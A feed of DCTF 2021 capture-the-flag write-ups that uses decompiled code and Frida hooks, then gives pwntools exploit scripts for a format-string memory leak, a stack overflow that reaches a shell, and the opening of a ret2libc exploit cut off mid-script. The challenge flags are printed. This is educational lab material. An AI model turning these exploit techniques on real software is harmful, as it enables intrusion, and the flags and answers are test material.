<span class="w"> </span><span class="n">key_text</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mi">8</span><span class="p">);</span>
<span class="w"> </span><span class="n">key_buffer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">read_key</span><span class="p">(</span><span class="o">*</span><span class="n">argv</span><span class="p">);</span>
<span class="w"> </span><span class="n">strncpy</span><span class="p">(</span><span class="n">key_text</span><span class="p">,</span><span class="n">key_buffer</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="n">key_buffer</span><span class="p">);</span>
<span class="w"> </span><span class="n">cipher_0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x486765792038261b</span><span class="p">;</span>
<span class="w"> </span><span class="n">cipher_8</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x754b623167242872</span><span class="p">;</span>
<span class="w"> </span><span class="n">cipher_16</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x747d4e603566227b</span><span class="p">;</span>
<span class="w"> </span><span class="n">cipher_24</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x252f764e31333323</span><span class="p">;</span>
<span class="w"> </span><span class="n">cipher_32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x46313160</span><span class="p">;</span>
<span class="w"> </span><span class="n">cipher_36</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x3123</span><span class="p">;</span>
<span class="w"> </span><span class="n">cipher_38</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">cipher_text</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x27</span><span class="p">);</span>
<span class="w"> </span><span class="n">strncpy</span><span class="p">(</span><span class="n">key</span><span class="p">,</span><span class="o">&</span><span class="n">cipher_0</span><span class="p">,</span><span class="mh">0x27</span><span class="p">,</span><span class="o">&</span><span class="n">cipher_0</span><span class="p">);</span>
<span class="w"> </span><span class="n">decrypt_1</span><span class="p">(</span><span class="n">cipher_text</span><span class="p">);</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Decryption finished."</span><span class="p">);</span>
<span class="w"> </span><span class="n">buffer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x27</span><span class="p">);</span>
<span class="w"> </span><span class="n">lVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FUN_001011c5</span><span class="p">((</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">cipher_0</span><span class="p">,</span><span class="n">key_text</span><span class="p">);</span>
<span class="w"> </span><span class="n">strncpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="n">lVar1</span><span class="p">,</span><span class="mh">0x27</span><span class="p">,</span><span class="n">lVar1</span><span class="p">);</span>
<span class="w"> </span><span class="n">buffer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">FUN_001011c5</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="n">key_text</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUN_00101460</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">key</span><span class="p">);</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">key_text</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>I already renamed function and variables, to make it more readable for me.
Basically, in the beginning the first 8 bytes from the binary are loaded, then our 'cipher' is initialized, and some XOR operations are done.
After the output, their are again multiple XOR operations.</p>
<p>Sadly I tried to reimplement all the XOR operations and print the states of all the variables, between each step.
But I didn't get the flag in time for the competition. After the competition I realized using GDB with PEDA, I could just debug.
Because PEDA tries to print all parameters at calls, I get the args for every strncpy printed. And the third call had the flag.</p>
<p>Because I was interested, if this could be done more easily I tried to use <a href="https://frida.re">frida</a>.
I found two methods, where I could get the flag pretty fast.</p>
<p>Using <code>frida-trace</code></p>
<div class="highlight"><pre><span></span><code>frida-trace<span class="w"> </span>./justintime<span class="w"> </span>-i<span class="w"> </span><span class="s1">'strncpy'</span>
</code></pre></div>
<p>Or writing my own script and execute it using <code>frida ./justintime -l exploit.js --no-pause</code></p>
<div class="highlight"><pre><span></span><code><span class="s1">'use strict'</span><span class="p">;</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">baseAddr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Module</span><span class="p">.</span><span class="nx">findBaseAddress</span><span class="p">(</span><span class="s1">'justintime'</span><span class="p">);</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">strncpy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Module</span><span class="p">.</span><span class="nx">findExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="w"> </span><span class="s2">"strncpy"</span><span class="p">);</span>
<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">strncpy</span><span class="p">,</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">onEnter</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="p">(</span><span class="nx">args</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'[+] Called strncpy @'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">strncpy</span><span class="p">);</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'[+] Dest: '</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">args</span><span class="p">[</span><span class="mf">0</span><span class="p">]);</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'[+] Src: '</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">args</span><span class="p">[</span><span class="mf">1</span><span class="p">]);</span><span class="w"> </span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'[+] Len: '</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">args</span><span class="p">[</span><span class="mf">2</span><span class="p">]);</span><span class="w"> </span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'[+] Src Content: '</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">Memory</span><span class="p">.</span><span class="nx">readCString</span><span class="p">(</span><span class="nx">ptr</span><span class="p">(</span><span class="nx">args</span><span class="p">[</span><span class="mf">1</span><span class="p">])));</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">});</span>
</code></pre></div>
<p>All three methods lead me to the flag, which was.</p>
<p><code>dctf{df77dbe0c407dd4a188e12013ccb009f}</code></p>DCTF 2021 - Readme2021-05-17T00:00:00+02:002024-02-05T19:10:11+01:00lehrbaumtag:w0y.at,2021-05-17:/writeup/2021/05/17/dctf-2021-readme.html<p>Format String to dump the memory and get flag.</p><h2>Description</h2>
<blockquote>
<p>Read me to get the flag.</p>
<p><code>nc dctf-chall-readme.westeurope.azurecontainer.io 7481</code></p>
</blockquote>
<h2>Preface</h2>
<p>We get a binary which asks for our name and then prints hello + input.
But in order for the binary to run, a file <code>flag.txt</code> needs to be created in the working directoy.</p>
<h2>Overview</h2>
<p>Decompiling the binary in <em>ghidra</em>, we see a function <code>vuln</code> where the logic happens.
The decompiled function with some renaming of the variables looks like this:</p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">vuln</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">FILE</span><span class="w"> </span><span class="o">*</span><span class="n">flag_file</span><span class="p">;</span>
<span class="w"> </span><span class="kt">long</span><span class="w"> </span><span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">flag</span><span class="w"> </span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="p">[</span><span class="mi">40</span><span class="p">];</span>
<span class="w"> </span><span class="kt">long</span><span class="w"> </span><span class="n">local_10</span><span class="p">;</span>
<span class="w"> </span><span class="n">stack_canary</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="kt">long</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">40</span><span class="p">);</span>
<span class="w"> </span><span class="n">flag_file</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fopen</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span><span class="s">"r"</span><span class="p">);</span>
<span class="w"> </span><span class="n">fgets</span><span class="p">(</span><span class="n">local_58</span><span class="p">,</span><span class="mi">28</span><span class="p">,</span><span class="n">flag_file</span><span class="p">);</span>
<span class="w"> </span><span class="n">fclose</span><span class="p">(</span><span class="n">flag_file</span><span class="p">);</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"hello, what</span><span class="se">\'</span><span class="s">s your name?"</span><span class="p">);</span>
<span class="w"> </span><span class="n">fgets</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="mi">30</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"hello "</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="n">name</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">stack_canary</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="kt">long</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">40</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>From this we can see, that the flag is read and stored in the function stack frame.
Also we can see, that our input (<em>name</em>) is directly passed to <code>printf</code>, so we got a format string possibility.</p>
<p>With <code>%p</code> we can print values from the memory and with <code>%1$p</code> we can also add an offset, to what memory we want to print.</p>
<p>Using this I played a little bit around with offsets, until I saw the hex for the flag in the output.
During the CTF my exploit was pretty simple.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'amd64'</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">"INFO"</span>
<span class="n">context</span><span class="o">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'xfce4-terminal'</span><span class="p">,</span> <span class="s1">'-x'</span><span class="p">,</span> <span class="s1">'sh'</span><span class="p">,</span> <span class="s1">'-c'</span><span class="p">]</span>
<span class="n">vulnerable</span> <span class="o">=</span> <span class="s1">'./readme'</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">20</span><span class="p">):</span>
<span class="c1">#p = process( vulnerable )</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">'dctf-chall-readme.westeurope.azurecontainer.io'</span><span class="p">,</span> <span class="mi">7481</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'hello, what</span><span class="se">\'</span><span class="s1">s your name?'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s2">"%</span><span class="si">{}</span><span class="s2">$p."</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'hello '</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">2048</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s1">'.'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">leak</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">item</span><span class="p">,</span> <span class="mi">16</span><span class="p">)))</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">continue</span>
<span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<p>This already gave me almost the flag. Because I had to extend a closing bracket at the end of it.</p>
<p>After the CTF ended, I extended my Script, to be more efficient, because I could input multiple formats up to 30 characters.
Also I want to have a function to dump the memory, in order to extend the size.
Also the leaked memory was combined and then printed our, this way the flag was more obvious.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'amd64'</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">"INFO"</span>
<span class="n">context</span><span class="o">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'xfce4-terminal'</span><span class="p">,</span> <span class="s1">'-x'</span><span class="p">,</span> <span class="s1">'sh'</span><span class="p">,</span> <span class="s1">'-c'</span><span class="p">]</span>
<span class="n">vulnerable</span> <span class="o">=</span> <span class="s1">'./readme'</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">def</span> <span class="nf">send_payload</span><span class="p">(</span><span class="n">fmtstr</span><span class="p">):</span>
<span class="k">global</span> <span class="n">payload</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">fmtstr</span><span class="p">)</span> <span class="o">>=</span> <span class="mi">30</span><span class="p">:</span>
<span class="c1">#p = process( vulnerable )</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">'dctf-chall-readme.westeurope.azurecontainer.io'</span><span class="p">,</span> <span class="mi">7481</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'hello, what</span><span class="se">\'</span><span class="s1">s your name?'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'hello '</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">2048</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s1">';'</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s1">';'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">fmtstr</span>
<span class="k">return</span> <span class="n">leak</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">fmtstr</span>
<span class="k">return</span> <span class="p">[]</span>
<span class="k">def</span> <span class="nf">dump</span><span class="p">(</span><span class="n">num_bytes_leaked</span><span class="o">=</span><span class="mi">20</span><span class="p">):</span>
<span class="n">leaks</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_bytes_leaked</span><span class="p">):</span>
<span class="n">leaks</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="n">send_payload</span><span class="p">(</span><span class="s2">"%</span><span class="si">{}</span><span class="s2">$p;"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="mi">1</span><span class="o">+</span><span class="n">i</span><span class="p">)))</span>
<span class="n">stack_leak</span> <span class="o">=</span> <span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">y</span><span class="p">:</span> <span class="mi">0</span> <span class="k">if</span> <span class="sa">b</span><span class="s1">'nil'</span> <span class="ow">in</span> <span class="n">y</span> <span class="k">else</span> <span class="nb">int</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="mi">16</span><span class="p">),</span> <span class="n">leaks</span><span class="p">)</span>
<span class="k">return</span> <span class="n">stack_leak</span>
<span class="n">sl</span> <span class="o">=</span> <span class="n">dump_stack</span><span class="p">()</span>
<span class="n">slb</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="n">p64</span><span class="p">,</span> <span class="n">sl</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="n">hexdump</span><span class="p">(</span><span class="n">slb</span><span class="p">))</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">slb</span><span class="p">[</span><span class="n">slb</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s1">'dctf{'</span><span class="p">):]</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">x</span><span class="p">[:(</span><span class="n">x</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="p">))]</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s1">'flag is: '</span> <span class="o">+</span> <span class="n">x</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'ASCII'</span><span class="p">)</span> <span class="o">+</span> <span class="s1">'}'</span><span class="p">)</span>
</code></pre></div>
<p>The complete flag was:
<code>dctf{n0w_g0_r3ad_s0me_b00k5}</code></p>DCTF 2021 - Pinch me2021-05-17T00:00:00+02:002024-02-05T19:10:11+01:00lehrbaumtag:w0y.at,2021-05-17:/writeup/2021/05/17/dctf-2021-pinch-me.html<p>Buffer overflow to overwrite variable</p><h2>Description</h2>
<blockquote>
<p>This should be easy!</p>
<p><code>nc dctf1-chall-pinch-me.westeurope.azurecontainer.io 7480</code></p>
</blockquote>
<h2>Preface</h2>
<p>We got a binary file which asked us <code>Am I dreaming?</code> and with basic input prints then <code>Pinch me!</code></p>
<h2>Overview</h2>
<p>Loading the binary into <em>ghidra</em> we can see, that the interaction happens in the function <code>vuln</code></p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">vuln</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">local_28</span><span class="w"> </span><span class="p">[</span><span class="mi">24</span><span class="p">];</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">local_10</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">local_c</span><span class="p">;</span>
<span class="w"> </span><span class="n">local_c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x1234567</span><span class="p">;</span>
<span class="w"> </span><span class="n">local_10</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">-0x76543211</span><span class="p">;</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Is this a real life, or is it just a fanta sea?"</span><span class="p">);</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Am I dreaming?"</span><span class="p">);</span>
<span class="w"> </span><span class="n">fgets</span><span class="p">(</span><span class="n">local_28</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">local_10</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">0x1337c0de</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">system</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">local_c</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">0x1234567</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Pinch me!"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Pinch me harder!"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>Based on this, overwriting the local_c variable with <code>0x1337c0de</code> gives me a shell.</p>
<p>This was pretty easy, I only needed to be careful to use the correct endianess.
Pwntools provides a function to pack correctly.</p>
<p>My final exploit was.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'amd64'</span>
<span class="c1">#context.log_level = "DEBUG"</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">"INFO"</span>
<span class="n">context</span><span class="o">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'xfce4-terminal'</span><span class="p">,</span> <span class="s1">'-x'</span><span class="p">,</span> <span class="s1">'sh'</span><span class="p">,</span> <span class="s1">'-c'</span><span class="p">]</span>
<span class="n">vulnerable</span> <span class="o">=</span> <span class="s1">'./pinch_me'</span>
<span class="c1">#p = process( vulnerable )</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"dctf1-chall-pinch-me.westeurope.azurecontainer.io"</span><span class="p">,</span> <span class="mi">7480</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'Am I dreaming?'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'</span><span class="se">\x41</span><span class="s1">'</span><span class="o">*</span><span class="mi">24</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x1337c0de</span><span class="p">))</span>
<span class="c1">#p.readuntil('will this work')</span>
<span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">(</span> <span class="mi">2048</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">1</span> <span class="p">)</span> <span class="c1"># cleanup output</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>Then I just needed to print the file <code>flag.txt</code></p>
<p>The flag was:</p>
<p><code>dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}</code></p>DCTF 2021 - Baby bof2021-05-17T00:00:00+02:002024-02-05T19:10:11+01:00lehrbaumtag:w0y.at,2021-05-17:/writeup/2021/05/17/dctf-2021-baby-bof.html<p>Buffer overflow and ret2libc</p><h2>Description</h2>
<blockquote>
<p>It's just another bof.</p>
<p><code>nc dctf-chall-baby-bof.westeurope.azurecontainer.io 7481</code></p>
</blockquote>
<h2>Preface</h2>
<p>We got a simple binary with output <code>plz don't rop me</code> and after our input <code>plz don't rop me</code>
Also we got a Dockerfile, which showed us the used image was Ubuntu:20.04</p>
<h2>Overview</h2>
<p>Based on the output, we know it was a rop challenge.
Also <code>checksec baby_bof</code> gave us.</p>
<div class="highlight"><pre><span></span><code><span class="n">Arch</span><span class="o">:</span><span class="w"> </span><span class="n">amd64</span><span class="o">-</span><span class="mi">64</span><span class="o">-</span><span class="n">little</span>
<span class="n">RELRO</span><span class="o">:</span><span class="w"> </span><span class="n">Partial</span><span class="w"> </span><span class="n">RELRO</span>
<span class="n">Stack</span><span class="o">:</span><span class="w"> </span><span class="n">No</span><span class="w"> </span><span class="n">canary</span><span class="w"> </span><span class="n">found</span>
<span class="n">NX</span><span class="o">:</span><span class="w"> </span><span class="n">NX</span><span class="w"> </span><span class="n">enabled</span>
<span class="n">PIE</span><span class="o">:</span><span class="w"> </span><span class="n">No</span><span class="w"> </span><span class="n">PIE</span><span class="w"> </span><span class="o">(</span><span class="mh">0x400000</span><span class="o">)</span>
</code></pre></div>
<p>Loading the binary into <em>ghidra</em> I can calculate the offset of the return address.</p>
<p>So I knew, that after writing 18 characters I could overwrite the return address and control the code flow.</p>
<p>First I tried if I could do a rop only with the binary, but neither Ropper nor RopGadget found enough gadgets.
So I had to use libc. For this I first needed to get the address where libc was loaded.</p>
<p>In order for this I leaked the address of <em>got.fgets</em>.
If I then substract the address of fgets in libc, I could get the base address of libc.
After the leak I would rerun the vulnerable function to make our next input.</p>
<p>Then I could use <em>system</em> and <code>/bin/sh</code> from libc to get a shell.</p>
<p>But somehow this did work on my local machine and not remote. Because I didn't see my error, I gave up and continued with other challenges.
Short before the end, I wanted to finish this challenge, so I gave it another try.</p>
<p>I thought, that maybe my local system had a different libc.
So I downloaded the <a href="https://github.com/tianon/docker-brew-ubuntu-core/blob/4b7cb6f04bc4054f9ab1fa42b549caa1a41b7c92/focal/ubuntu-focal-core-cloudimg-amd64-root.tar.gz">root</a> from Github.
From their I could extract the libc and loading them side by side showed me the offsets were wrong.</p>
<p>But even with this change it didn't work.
Because I thought it could still be some error with the offset, I tried to print <code>/bin/sh</code> with puts.
The printout was correctly and I successfully had a shell.</p>
<p>From their I could cat the flag and the challenge was solved.</p>
<p>I didn't understanding why it worked. Testing some bits showed, that their was some call needed before the system or it woudln't work.
I modified my script, to just include a <code>ret-Gadget</code> and my final exploit code was.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'amd64'</span>
<span class="n">context</span><span class="o">.</span><span class="n">kernel</span> <span class="o">=</span> <span class="s1">'amd64'</span>
<span class="c1">#context.log_level = "DEBUG"</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">"INFO"</span>
<span class="n">context</span><span class="o">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'xfce4-terminal'</span><span class="p">,</span> <span class="s1">'-x'</span><span class="p">,</span> <span class="s1">'sh'</span><span class="p">,</span> <span class="s1">'-c'</span><span class="p">]</span>
<span class="n">vulnerable</span> <span class="o">=</span> <span class="s1">'./baby_bof'</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">vulnerable</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">'/usr/lib/x86_64-linux-gnu/libc.so.6'</span><span class="p">)</span>
<span class="n">libc2</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">'./libc.so.6'</span><span class="p">)</span>
<span class="c1">#p = elf.process()#</span>
